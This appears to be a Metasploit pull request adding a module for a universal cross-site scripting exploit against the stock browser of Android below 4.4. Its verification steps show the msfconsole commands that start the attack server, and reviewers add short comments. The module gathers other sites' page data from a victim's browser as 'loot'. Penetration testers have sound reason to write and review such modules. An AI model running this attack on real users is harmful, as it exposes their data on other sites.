Add another Android < 4.4 UXSS exploit

[jvennix-r7]

Verification

• Run the exploit against http://example.com and https://pages.github.com:

  $ ./msfconsole
  msf> use auxiliary/gather/android_object_tag_webview_uxss
  msf> set TARGET_URLS http://example.com,https://pages.github.com
      TARGET_URLS => http://example.com,https://pages.github.com
  msf> set URIPATH /j
    URIPATH => /j
  msf> run -j
    [*] Auxiliary module running as background job
    [*] Using URL: http://0.0.0.0:8080/j
    [*]  Local IP: http://192.168.0.4:8080/j
    [*] Server started.
  

• In android < 4.4 stock browser browse to the URL output by the module

• You should have two items saved as loot, containing the details of http://example.com and https://pages.github.com

[wchen-r7]

http://

Don't worry, most people are making this mistake. But we gotta stop it :-)

[wvu]

VENNIX!!!!!!! :)